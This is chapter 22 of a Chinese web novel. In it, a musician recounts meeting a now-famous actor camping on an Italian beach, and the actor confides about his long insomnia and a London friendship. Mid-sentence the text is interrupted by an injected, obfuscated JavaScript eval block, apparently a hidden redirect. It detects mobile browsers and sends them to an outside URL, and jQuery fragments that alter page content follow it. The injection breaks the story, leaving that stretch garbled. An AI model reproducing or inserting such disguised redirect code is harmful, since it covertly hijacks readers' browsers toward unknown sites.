22
爵士乐轻快放松，是律思挑了一张TheloniousMonk放进黑胶唱机。两位老友带着一位年轻搭档与伊林凑成一桌，丝毫不见外的给彼此倒酒。
“你们肯定想不到我跟他是怎么认识的。”酒过三巡，暖场的话都说完，律思开始对着伊林和傅遥回忆往昔。
“怎么认识的？”伊林很捧场。
“……在意大利海滩。我那阵在一个小古典乐团混饭吃，晚上演出结束了就喜欢去海边待会儿。一连好几天我都看见有个帐篷，像个外星生物一样杵在一边。后来有一天，里面竟然有个人走出来，头发胡子混成一坨，像个流浪汉。”律思不怀好意看着何屿。“这位半夜出来买水喝的流浪汉先生呢，就是我们的大明星何屿。”
伊林饶有趣味看向故事的另一个主人公。何屿只管给自己倒柠檬水。
“……那阵我刚大学毕业，有一段没接到工作的空档期，跑到欧洲玩了几个月。”
“少来。你那哪里是玩，我看是挑战每天一块钱极限生存。”
“嗯。那时候真的确没什么钱。”何屿讲得轻描淡写，又吃一口草莓。“你们尝尝，很新鲜。”他用果盘岔开话题。
何屿也有他的窘迫期？伊林再一次知道了这位世家子弟不为人知的另一面。
“他买完水回来路过我身边，我就跟他打了个招呼，问他能不能去帐篷里坐坐。可能我那时候还穿着一身正装演出服吧，看起来不像个变态，他也就答应了。”
听到这里，何屿接过话茬。
“我没觉得你像好人，只不过想看看你究竟要找我干嘛。连着几天了，你都半夜坐我帐篷旁边。抱歉没告诉你，住帐篷的那半个月，我可是随身带刀的。”
律思摇摇头没理他。“你用不着带刀。你那一脸大胡子已经够吓人了。”
“……你为什么要进人家帐篷？”年轻搭档傅遥问向律思。他表情像在看什么热闹，看起来像是故意的。
“……其实也没为什么，主要觉得他是个怪人，想惹他试试。没想到他就直接让我进去了。”
律思又喝一口酒，抬头懒懒看向何屿。“进去之后就发现，怪不得他要出去买水，他那个帐篷里啊，除了张床和一些简单的生活用品，真的什么都没有。我那阵倒真有点可怜他。但他倒很坦然，问我哪里人，在西西里做什么。谈话之间发现我们都会说中文，就开始用中文聊天，聊到中国一些城市和风俗。……也不知道怎么回事，聊到最后，约定了第二天我要请他吃饭。”
“是你主动提的，我可什么都没说。”何屿难得主动澄清。
“……那不是把你当穷光蛋了吗，谁知道你是这么大的富二代啊。”
何屿又低头自嘲的笑，这一次他不接话。
“我好像在你ins上看到过你在海边跟一个大胡子的合影，所以竟然是何屿吗？”傅遥喝得双颊泛红去问他。
“对啊。那是等何屿拿过影帝之后我故意放出来的。看来你的粉丝也不怎么样嘛，到现在都没有半个人扒出来那是你。”
“……是因为你Ins只有80个粉丝吧……”傅遥无情吐槽，收获律思白眼。而何屿只是微笑。
“……所以第二天，你请他吃饭了吗？”伊林将话题拉回来。
“当然。我以为他真是个穷光蛋来着，本着做好事的心态，请他去了一家当地有名的法国餐厅。饭桌上我虽然也有发现他礼仪很好，与外表有很大反差，但也没多往心里去，只顾着跟他瞎聊天。”
“你们两个刚认识的，能聊些什么？”傅遥也好奇。
“聊可多啦。先开始他问我在意大利做什么，我说混混古典乐团，然后他就来了兴趣，跟我聊了好久古典乐。我问他来意大利干嘛的，他特有意思，说他是来旅游的。我爸法国人，我妈可是中国人，我在中国生活过好几年，没见过旅游旅成他这样的。”
“……这有什么奇怪。典型背包客嘛。”何屿轻描淡写为自己解释。“只不过有人租沙发，有人搭帐篷。”
“……随便你怎么讲。”律思挥了挥手，也不跟他争。“吃完饭之后呢，我还带他去看了我们乐团演出，顺便把他带回家睡觉……”
讲到兴头上的古典乐手发现，年轻搭档一脸八卦看着他。“胡思乱想什么呢？我睡床他睡沙发！”看着他有点气急败坏的样子，伊林也笑了。
“谢谢你啊，给我腾出个干净沙发。”何屿看起来颇有些真心实意，但另外几位都知道，他在唱反调。“为了让我睡你家沙发，还特地把我帐篷拆了。”
“你为什么拆人帐篷？”傅遥一脸不可思议。
“……这不是海边要起风浪下大暴雨了，我喊他来我家住他不来，我就把他帐篷拆了。”律思也马上归回理直气壮：“我这不都是为了他好！”
“是是是。”伊林前去圆场，递给律思一杯酒。“要不是你，何屿要被刮去海里喂鱼了。”
“就是说呢。”律思接过酒喝一大口，再次看向憋笑的大明星。“我带这家伙住进自己家，给他管吃管喝，他倒好，也不怎么领情。……不过看在他基本睡不着觉的份上，我也就不跟他怎么计较。”
本来愉快的氛围，在此时出现裂痕。突然之间，伊林感到内心刺痛。
“……你带他回家，是多少年前的事了？”
“大概……要有14年了。”
14年。何屿在失眠的折磨里，已经整整忍受14年。
“也不是完全睡不着。”何屿像是察觉了伊林的情绪。“在律思家里，我有一段时间睡得不错。”
“那还不是因为sam在你身边！”律思又为自己倒了一杯酒，再向两位听众解释：“sam不是人，是何屿来我家一周后朋友送来寄养的金毛犬。很憨很可爱，特别喜欢粘着他。”回想起狗狗，律思整个人的表情都变得温柔了。
“……是。Sam陪着我睡了好长一段时间。”何屿低垂着眼睛。“直到他离开。”
律思亦陷入沉默。伊林因此知道，sam的离开，或许是死别。
“……sam走后，你也就走了。”律思看着他，再看向自己杯中酒。“你走之前把胡子都刮了，我才知道你小子长了一张这么漂亮的脸。”
听到这句话，何屿只是无奈的笑。“因为要回国接工作了，不能继续邋里邋遢的。”
“走之前你倒是有点良心，带我去海岛中心的私人酒店吃饭兼度假。……但是我觉得吧，像我们这种人，更适合一顶帐篷住在沙滩上。”
“是。所以我后来不是经常约你出来玩。”
“……说起来，我们真去过不少地方……柬埔寨、泰国、英国、法国、西班牙、冰岛、瑞典……”回忆往昔，律思的表情很温暖。“……等会儿，怎么越想越不太对……为什么你每次来找我都一脸穷相？”
与律思疑惑而有些小气愤的表情不同，何屿笑得很开心。
“因为你不认识我啊，还一直觉得我没什么钱。”
律思无奈，自己又喝一杯酒。“是啊，每次你来找我要么挤在我家，要么一起打地铺住帐篷，要么住个不知名偏远小房子……说实话，我都不知道你从哪找来这些又老又旧的破房子。”
“都是我爷爷买的。”何屿轻笑。“他这人什么都好，就是房产投资一塌糊涂。”
律思只管摇头，表情也变得愈发鄙夷。“你到底为什么要在我面前装穷？”
“不是装穷。”何屿的表情柔和，但认真。“我只是觉得……你不认识我是谁，你很年轻，很自由，没有任何包袱，想去哪就去哪。我只不过在跟着你的生活走。”
“……”听到这里，律思没有回答。他依旧托腮，静静看着何屿。
“我跟着你去剧团和乐团打工，演个大象的腿或者乐团最后面负责镲片的。下了班，跟着你和你的朋友讨论剧本和音乐，坐在凌晨还不关门的快餐店里吃吃喝喝。”何屿说着，他的声音变得很动听。“……或者跟着你去当服务员，忙里偷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459258|169676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闲偷点大厨刚做好的米其林上星美食吃。尽管会被打手，但大家也都很容忍我们……我喜欢打烊后，忙前忙后的后厨人坐在一块吃饭。食物的美好战胜了一切疲累。那是生命里难得会有的几个瞬间。”
律思依然安静看着他。“……可能对你来说只是一种体验，但那是大多数普通人在挣扎着生活。日复一日，年复一年。”他收回目光，喝下一口酒。“我怀疑你未必真的了解。”
何屿看向他的老朋友。“我们刚见面时，父亲因为我坚持做演员跟我断绝关系，剥夺我一切经济来源。后来每一次去找你，我身上都没有家里留下的任何资源。我在这个圈子里很长一段时间没有工作，也有很多试镜完全失败。……那时候，我只是一个挣扎在演艺圈的普通人。”
听完老友的自我剖白，律思没有再说话。他向何屿举起酒杯：“我干杯，你随意。”
“你的失眠症……在跟律思到处跑的时候，会好些吗？”认真听故事的傅遥插进来问。
“非常累的时候，的确会好一些。”何屿回答。“特别是刚到一个新地方，谁都不认识我的时候，会睡得特别好。”
“我记得你在伦敦西区小剧场里做群演那阵，每天回来倒头就睡。”律思插话。
“嗯。那时候……遇到一个人。”何屿目光有些闪躲。“与他多相处，就能睡得很好。”
一直在当倾听者的李伊林抬起目光，定定看向何屿。
“……为什么不留在对方身边？”她问他。
“他是伦敦当地人，一直梦想当演员，是个心里很纯粹的男孩。”何屿回忆着，试图说出更多。“……当时我们在排演一个很小的现代剧，剧作者是他的朋友，他很信任对方，觉得能跟着朋友一起向前走。我虽然是群演，但跟他住的很近，总是一起坐地铁，一来二去就熟了。”
“……先开始，我们聊的也更多只是剧本相关，私人的事分享不多。大概两周之后，我发现跟他在一起，能让我睡得很好。所以我把这件事分享给他。他听着，觉得很兴奋，问我能不能把这个故事授权给他，让他的朋友以此为基础写成剧本。我说，可以，但不要跟真实的我有任何关联。他答应了，很兴奋的在地铁上打开笔记本做记录。他说等剧本出来，他的剧作家朋友一定会让他当主演。”
“……两周之后，他给我看了一个初步写成的剧本。不得不说，他的朋友的确很有才华。我也恭喜他，即将在更大剧场里登台做主演。同时我也发现，他越期待、越开心，对我睡眠的正相关作用就越大。”
“一切都在走向正轨，他也一直在等着收到剧本进入制作、邀请他去排演的消息。直到下个月西区演员群里收到新剧通告，《催眠》，计划在老维克大剧院上演，他才知道，主演……并不是他。”
音乐停止，没有人起身去换唱片。低沉的安静里，何屿的声音变得很轻，像在低语。
“……他的情绪被击垮了。虽然他依然坚持演完小剧排期，依然与我一起坐地铁回家，但我发现，在他身边，已经不能让我睡个好觉了。”
“……我并不知道这究竟是出于什么，好像一个不再纯粹、不再快乐的人就不能带给我睡眠一样。这让我厌恶我自己。我一边劝他振作，做他的精神支持，一边眼睁睁看着自己再一次跌入失眠深渊。”
伊林看到，何屿的表情陷入痛苦。她不自觉握住他的手。
“小剧排期结束，我迫不及待与他道了再见。不知道出于何种原因，当时的我只想快点离开日渐消沉的他。……我们本应是朋友，但我却因为他不能再让我顺利入睡而只想离开。那是我第一次意识到，这场失眠症，已经逼着我把活生生的人当成工具。”
何屿的声音变冷。他移开伊林的手。
“……幸运的是，他后来成为了小有名气的英国演员。来上海宣传时，还特地通过经纪公司约我见面。那时的他看起来依旧纯真、快乐。但并没有使我睡着。那时我才明白，无可救药的人，其实是我自己。”